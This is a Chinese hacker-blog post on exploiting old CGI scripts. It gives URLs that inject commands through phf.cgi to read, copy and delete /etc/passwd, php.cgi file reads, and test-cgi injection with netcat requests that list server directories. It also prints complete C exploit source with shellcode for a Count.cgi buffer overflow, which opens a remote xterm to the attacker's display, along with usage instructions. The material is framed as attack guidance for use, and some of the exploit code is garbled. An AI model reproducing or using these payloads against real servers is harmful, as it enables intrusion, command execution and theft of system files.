导航

心动吧黑客BLOG

自发研究:须要多维思想而且要想不可能为可能的人才能做到

« ASp 正则表达式从入门到精通字符串函数 »

最新702种CGI漏洞

其实是放着顶空

CGI漏洞的利用(一) 

GI漏洞向来是容易被人们忽视的问题,同时也是普遍存在的,前不久攻破PCWEEK LINUX的黑客就是利用了CGI的一个漏洞。

我就自己所知道的和从外国站点看来的一些CGI漏洞来写一些利用CGI的攻击方法,水平有限写得不对的地方请来信告诉我:bamboo@kali.com.cn 

一、phf.cgi攻击: phf是大家所熟悉的了,它本来是用来更新PHONEBOOK的,但是许多管理员对它不了解以至于造成了漏洞。

在浏览器中输入: _blank>http://thegnome.com/cgi-bin/phf?Qalias=x%0a/bin/cat%20/etc/passwd ;可以显示出PASSWD文档来。

其实还可以用更好的命令来实现目的: _blank>http://thegnome.com/cgi-bin/phf?%0aid&Qalias=&Qname=haqr&Qemail=&Qnickna ;

me=&Qoffice_phone= 

_blank>http://thegnome.com/cgi-bin/phf?%0als%20-la%20%7Esomeuser&Qalias=&Qname= ;

haqr&Qemail=&Qnickname=&Qoffice_phone= 

_blank>http://thegnome.com/cgi-bin/phf?%0acp%20/etc/passwd%20%7Esomeuser/passwd ;

%0A&Qalias=&Qname=haqr&Qemail=&Qnickname=&Qoffice_phone= 

_blank>http://thegnome.com/~someuser/passwd ;

_blank>http://thegnome.com/cgi-bin/phf?%0arm%20%7Esomeuser/passwd&Qalias=&Qname ;

=haqr&Qemail=&Qnickname=&Qoffice_phone= 以上等于执行了命令: id ls -la ~someuser 

cp /etc/passwd ~someuser/passwd (用普通的可以进入的目录来看passwd) rm ~someuser/passwd 

/P>

二、php.cgi 

除了PHF以外,php也是常见的漏洞,php.cgi 2.0beta10或更早版本中,允许anyone以 

HTTP管理员身份读系统文件,在浏览器中输入: _blank>http://boogered.system.com/cgi-bin/php.cgi?/etc/passwd ;

就可以看到想看的文件。 另外,一部分php.cgi还可以执行shell,原因是它把8k bytes字节放入128bytes的缓冲区中,

造成堆栈段溢出,使得攻击者可以以HTTP管理员的身份执行。 

但是只有PHP作为CGI脚本时才能实现,而在作为Apache模量是不能运行的。想检查能否运行,只要在浏览器中输入:

_blank>http://hostname/cgi-bin/php.cgi ;如果你看到返回这样的字样就可以运行: PHP/FI Version 2.0b10 

... 三、test-cgi的问题 

test-cgi同样是个常常出现的漏洞,在浏览器中输入: _blank>http://thegnome.com/cgi-bin/test-cgi?\whatever 

将会返回: CGI/1.0 test script report: argc is 0. argv is . SERVER_SOFTWARE = NCSA/1.4B 

SERVER_NAME = thegnome.com 

GATEWAY_INTERFACE = CGI/1.1 

SERVER_PROTOCOL = HTTP/1.0 

SERVER_PORT = 80 

REQUEST_METHOD = GET 

HTTP_ACCEPT = text/plain, application/x-html, application/html, 

text/html, text/x-html 

PATH_INFO = 

PATH_TRANSLATED = 

SCRIPT_NAME = /cgi-bin/test-cgi 

QUERY_STRING = whatever 

REMOTE_HOST = fifth.column.gov 

REMOTE_ADDR = 200.200.200.200 

REMOTE_USER = 

AUTH_TYPE = 

CONTENT_TYPE = 

CONTENT_LENGTH = 再来一次,这样输入: _blank>http://thegnome.com/cgi-bin/test-cgi?\help&0a/bin/cat%20/etc/passwd 

看到PASSWD了? 用netcat 80 端口 进行攻击: machine% echo "GET /cgi-bin/test-cgi?/*" | nc removed.name.com 80 

返回: CGI/1.0 test script report: argc is 1. argv is /\*. SERVER_SOFTWARE = NCSA/1.4.1 

SERVER_NAME = removed.name.com 

GATEWAY_INTERFACE = CGI/1.1 

SERVER_PROTOCOL = HTTP/0.9 

SERVER_PORT = 80 

REQUEST_METHOD = GET 

HTTP_ACCEPT = 

PATH_INFO = 

PATH_TRANSLATED = 

SCRIPT_NAME = /bin/cgi-bin/test-cgi 

QUERY_STRING = /a /bin /boot /bsd /cdrom /dev /etc /home /lib /mnt 

/root /sbin /stand /sys /tmp /usr /usr2 /var 

REMOTE_HOST = remote.machine.com 

REMOTE_ADDR = 255.255.255.255 

REMOTE_USER = 

AUTH_TYPE = 

CONTENT_TYPE = 

CONTENT_LENGTH = 显示出了根目录!这样试试: machine% echo "GET /cgi-bin/test-cgi?*" | nc removed.name.com 80 

返回: CGI/1.0 test script report: argc is 1. argv is \*. SERVER_SOFTWARE = NCSA/1.4.1 

SERVER_NAME = removed.name.com 

GATEWAY_INTERFACE = CGI/1.1 

SERVER_PROTOCOL = HTTP/0.9 

SERVER_PORT = 80 

REQUEST_METHOD = GET 

HTTP_ACCEPT = 

PATH_INFO = 

PATH_TRANSLATED = 

SCRIPT_NAME = /bin/cgi-bin/test-cgi 

QUERY_STRING = calendar cgi-archie cgi-calendar cgi-date cgi-finger 

cgi-fortune cgi-lib.pl imagemap imagemap.cgi imagemap.conf index.html 

mail-query mail-query-2 majordomo majordomo.cf marker.cgi 

menu message.cgi munger.cgi munger.note ncsa-default.tar post-query 

query smartlist.cf src subscribe.cf test-cgi uptime 

REMOTE_HOST = remote.machine.com 

REMOTE_ADDR = 255.255.255.255 

REMOTE_USER = 

AUTH_TYPE = 

CONTENT_TYPE = 

CONTENT_LENGTH = 显示了/CGI-BIN/目录下的东西。 

CGI漏洞的利用(二) 

CGI漏洞向来是容易被人们忽视的问题,同时也是普遍存在的,前不久攻破PCWEEK LINUX的黑客就是利用了CGI的一个漏洞。

我就自己所知道的和从外国站点看来的一些CGI漏洞来写一些利用CGI的攻击方法,水平有限写得不对的地方请来信告诉我:bamboo@kali.com.cn 

四、Count.cgi溢出漏洞 Count.cgi(wwwcount)是国外网站经常用的CGI网页计数程序,国内很少有人用它,

不过还是有一些网站的CGI-BIN目录下有它,简单说一下它的原理以及利用方法。 

出现问题主要是由于QUERY_STRING 环境变量被复制到一个活动缓冲区,造成溢出,允许远程用户以HTTP管理员的身份执行任意命令。 

有人写了个程序来利用这个漏洞,只对Count.cgi 24以下版本有效: 

/*### count.c ########################################################*/ 

#include  

#include  

#include  

#include  

#include  

#include  

#include  

#include  

#include  /* Forwards */ 

unsigned long getsp(int); 

int usage(char *); 

void doit(char *,long, char *); /* Constants */ 

char shell[]= 

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" 

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" 

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" 

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" 

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" 

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" 

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" 

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" 

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" 

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" 

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" 

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" 

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" 

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" 

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" 

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" 

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" 

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" 

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" 

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" 

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" 

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" 

"\xeb\x3c\x5e\x31\xc0\x89\xf1\x8d\x5e\x18\x88\x46\x2c\x88\x46\x30" 

"\x88\x46\x39\x88\x46\x4b\x8d\x56\x20\x89\x16\x8d\x56\x2d\x89\x56" 

"\x04\x8d\x56\x31\x89\x56\x08\x8d\x56\x3a\x89\x56\x0c\x8d\x56\x10" 

"\x89\x46\x10\xb0\x0b\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xbf" 

"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff" 

"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff" 

"/usr/X11R6/bin/xterm0-ut0-display0"; 

char endpad[]= 

"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff" 

"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"; int main (int argc, char *argv[]){ 

char *shellcode = NULL; 

int cnt,ver,retcount, dispnum,dotquads[4],offset; 

unsigned long sp; 

char dispname[255]; 

char *host; 

offset = sp = cnt = ver = 0; 

fprintf(stderr,"\t%s - Gus\n",argv[0]); 

if (argc<3) usage(argv[0]); while ((cnt = getopt(argc,argv,"h:d:v:o:")) != EOF) { 

switch(cnt){ 

case ''h'': 

host = optarg; 

break; 

case ''d'': 



retcount = sscanf(optarg, "%d.%d.%d.%d:%d", 

&dotquads[0], 

&dotquads[1], 

&dotquads[2], 

&dotquads[3], &dispnum); 

if (retcount != 5) usage(argv[0]); 

sprintf(dispname, "%03d.%03d.%03d.%03d:%01d", 

dotquads[0], dotquads[1], dotquads[2],dotquads[3], dispnum); 

shellcode=malloc(strlen((char *)optarg)+strlen(shell)+strlen(endpad)); 

sprintf(shellcode,"%s%s%s",shell,dispname,endpad); 



break; 

case ''v'': 

ver = atoi(optarg); 

break; 

case ''o'': 

offset = atoi(optarg); 

break; 

default: 

usage(argv[0]); 

break; 



} sp = offset + getsp(ver); 

(void)doit(host,sp,shellcode); exit(0); 

} unsigned long getsp(int ver) { /* Get the stack pointer we should be using. YMMV. If it does not work, 

try using -o X, where x is between -1500 and 1500 */ 

unsigned long sp=0; if (ver == 15) sp = 0xbfffea50; 

if (ver == 20) sp = 0xbfffea50; 

if (ver == 22) sp = 0xbfffeab4; 

if (ver == 23) sp = 0xbfffee38; /* Dunno about this one */ 

if (sp == 0) { 

fprintf(stderr,"I don''t have an sp for that version try using the -o option.\n"); 

fprintf(stderr,"Versions above 24 are patched for this bug.\n"); 

exit(1); 

} else { 

return sp; 

} } 

int usage (char *name) { 

fprintf(stderr,"\tUsage:%s -h host -d  -v  [-o ]\n",name); 

fprintf(stderr,"\te.g. %s -h www.foo.bar -d 127.0.0.1:0 -v 22\n",name); 

exit(1); 

} int openhost (char *host, int port) { int sock; 

struct hostent *he; 

struct sockaddr_in sa; he = gethostbyname(host); 

if (he == NULL) { 

perror("Bad hostname\n"); 

exit(-1); 

} memcpy(&sa.sin_addr, he->h_addr, he->h_length); sa.sin_port=htons(port); 

sa.sin_family=AF_INET; 

sock=socket(AF_INET,SOCK_STREAM,0); 

if (sock < 0) { 

perror ("cannot open socket"); 

exit(-1); 



bzero(&sa.sin_zero,sizeof (sa.sin_zero)); if (connect(sock,(struct sockaddr *)&sa,sizeof sa)<0) { 

perror("cannot connect to host"); 

exit(-1); 

} return(sock); 



void doit (char *host,long sp, char *shellcode) { int cnt,sock; 

char qs[7000]; 

int bufsize = 16; 

char buf[bufsize]; 

char chain[] = "user=a"; bzero(buf); 

for(cnt=0;cnt<4104;cnt+=4) { 

qs[cnt+0] = sp & 0x000000ff; 

qs[cnt+1] = (sp & 0x0000ff00) >> 8; 

qs[cnt+2] = (sp & 0x00ff0000) >> 16; 

qs[cnt+3] = (sp & 0xff000000) >> 24; 



strcpy(qs,chain); 

qs[strlen(chain)]=0x90; qs[4104]= sp&0x000000ff; 

qs[4105]=(sp&0x0000ff00)>>8; 

qs[4106]=(sp&0x00ff0000)>>16; 

qs[4107]=(sp&0xff000000)>>24; 

qs[4108]= sp&0x000000ff; 

qs[4109]=(sp&0x0000ff00)>>8; 

qs[4110]=(sp&0x00ff0000)>>16; 

qs[4111]=(sp&0xff000000)>>24; 

qs[4112]= sp&0x000000ff; 

qs[4113]=(sp&0x0000ff00)>>8; 

qs[4114]=(sp&0x00ff0000)>>16; 

qs[4115]=(sp&0xff000000)>>24; 

qs[4116]= sp&0x000000ff; 

qs[4117]=(sp&0x0000ff00)>>8; 

qs[4118]=(sp&0x00ff0000)>>16; 

qs[4119]=(sp&0xff000000)>>24; 

qs[4120]= sp&0x000000ff; 

qs[4121]=(sp&0x0000ff00)>>8; 

qs[4122]=(sp&0x00ff0000)>>16; 

qs[4123]=(sp&0xff000000)>>24; 

qs[4124]= sp&0x000000ff; 

qs[4125]=(sp&0x0000ff00)>>8; 

qs[4126]=(sp&0x00ff0000)>>16; 

qs[4127]=(sp&0xff000000)>>24; 

qs[4128]= sp&0x000000ff; 

qs[4129]=(sp&0x0000ff00)>>8; 

qs[4130]=(sp&0x00ff0000)>>16; 

qs[4131]=(sp&0xff000000)>>24; 

strcpy((char*)&qs[4132],shellcode); sock = openhost(host,80); 

write(sock,"GET /cgi-bin/Count.cgi?",23); 

write(sock,qs,strlen(qs)); 

write(sock," HTTP/1.0\n",10); 

write(sock,"User-Agent: ",12); 

write(sock,qs,strlen(qs)); 

write(sock,"\n\n",2); 

sleep(1); /* printf("GET /cgi-bin/Count.cgi?%s HTTP/1.0\nUser-Agent: %s\n\n",qs,qs); */ /* 

setenv("HTTP_USER_AGENT",qs,1); 

setenv("QUERY_STRING",qs,1); 

system("./Count.cgi"); 

*/ 

} ———————————————————————————————————— 

用法是:count -h <攻击目标IP> -d <显示> -v  

例如:count -h www.foo.bar -d 127.0.0.1:0 -v 22 五、用Count.cgi看图片 

这个不算是很有用的漏洞,可是既然写到这儿了,也就顺便提一下吧。可以利用Count.cgi看WEB目录以外的图片,

据作者说有一些商业网站的图片里有一些商业机密,所以这个漏洞也算是有点用处吧!哈哈! 在浏览器中这样输入: 

其中/path_to_gif/file.gif是你要看的图片的路径。 注意,这一漏洞只能被用来看(或下载)GIF格式的图片,

而不能用于其他类型的文件。

 

 


 

原创文章如转载,请注明:转载自心动吧黑客BLOG [ http://www.abcxd.com/abcxd/ ]

本文链接地址:http://www.abcxd.com/abcxd/abcxdArticle/CGIoday/173/

  • 相关文章:

发表评论:

◎欢迎参与讨论,请在这里发表您的看法、交流您的观点。

黑客榜之本月排行